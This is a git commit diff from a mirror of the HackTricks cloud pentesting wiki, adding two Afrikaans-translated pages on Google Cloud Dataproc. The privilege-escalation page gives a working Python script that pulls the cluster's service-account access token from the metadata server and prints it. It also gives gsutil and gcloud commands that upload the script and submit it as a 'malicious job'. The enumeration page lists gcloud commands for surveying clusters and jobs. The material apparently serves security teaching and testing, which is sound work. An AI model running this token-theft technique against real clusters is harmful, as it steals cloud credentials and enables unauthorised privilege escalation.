mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-27 13:13:06 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
@@ -0,0 +1,54 @@
|
||||
# GCP Dataproc Privilege Escalation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dataproc
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-dataproc-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
|
||||
|
||||
Ek was nie in staat om 'n omgekeerde shell te verkry met hierdie metode nie, maar dit is moontlik om die SA-token vanaf die metadata-eindpunt te lek met die metode hieronder beskryf.
|
||||
|
||||
#### Stappe om te benut
|
||||
|
||||
- Plaas die werkskrip op die GCP-bucket.
|
||||
|
||||
- Dien 'n werk in by 'n Dataproc-kluster.
|
||||
|
||||
- Gebruik die werk om toegang tot die metadata-bediener te verkry.
|
||||
|
||||
- Lek die diensrekeningtoken wat deur die kluster gebruik word.
|
||||
```python
|
||||
import requests
|
||||
|
||||
metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
|
||||
headers = {"Metadata-Flavor": "Google"}
|
||||
|
||||
def fetch_metadata_token():
|
||||
try:
|
||||
response = requests.get(metadata_url, headers=headers, timeout=5)
|
||||
response.raise_for_status()
|
||||
token = response.json().get("access_token", "")
|
||||
print(f"Leaked Token: {token}")
|
||||
return token
|
||||
except Exception as e:
|
||||
print(f"Error fetching metadata token: {e}")
|
||||
return None
|
||||
|
||||
if __name__ == "__main__":
|
||||
fetch_metadata_token()
|
||||
```
|
||||
|
||||
```bash
|
||||
# Copy the script to the storage bucket
|
||||
gsutil cp <python-script> gs://<bucket-name>/<python-script>
|
||||
|
||||
# Submit the malicious job
|
||||
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
|
||||
--cluster=<cluster-name> \
|
||||
--region=<region>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,43 @@
|
||||
# GCP - Dataproc Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Google Cloud Dataproc is 'n volledig bestuurde diens vir die uitvoering van Apache Spark, Apache Hadoop, Apache Flink, en ander groot data raamwerke. Dit word hoofsaaklik gebruik vir data verwerking, navraag, masjienleer, en stroomanalise. Dataproc stel organisasies in staat om klusters vir verspreide rekenaars te skep met gemak, wat naatloos integreer met ander Google Cloud Platform (GCP) dienste soos Cloud Storage, BigQuery, en Cloud Monitoring.
|
||||
|
||||
Dataproc klusters loop op virtuele masjiene (VMs), en die diensrekening wat met hierdie VMs geassosieer is, bepaal die toestemmings en toegangsvlak van die kluster.
|
||||
|
||||
## Komponente
|
||||
|
||||
'n Dataproc kluster sluit tipies in:
|
||||
|
||||
Master Node: Bestuur klusterhulpbronne en koördineer verspreide take.
|
||||
|
||||
Worker Nodes: Voer verspreide take uit.
|
||||
|
||||
Diensrekeninge: Hanteer API-oproepe en toegang tot ander GCP dienste.
|
||||
|
||||
## Enumerasie
|
||||
|
||||
Dataproc klusters, werksgeleenthede, en konfigurasies kan geënumerer word om sensitiewe inligting te versamel, soos diensrekeninge, toestemmings, en potensiële misconfigurasies.
|
||||
|
||||
### Kluster Enumerasie
|
||||
|
||||
Om Dataproc klusters te enummeren en hul besonderhede te verkry:
|
||||
```
|
||||
gcloud dataproc clusters list --region=<region>
|
||||
gcloud dataproc clusters describe <cluster-name> --region=<region>
|
||||
```
|
||||
### Werk Opname
|
||||
```
|
||||
gcloud dataproc jobs list --region=<region>
|
||||
gcloud dataproc jobs describe <job-id> --region=<region>
|
||||
```
|
||||
### Privesc
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-dataproc-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user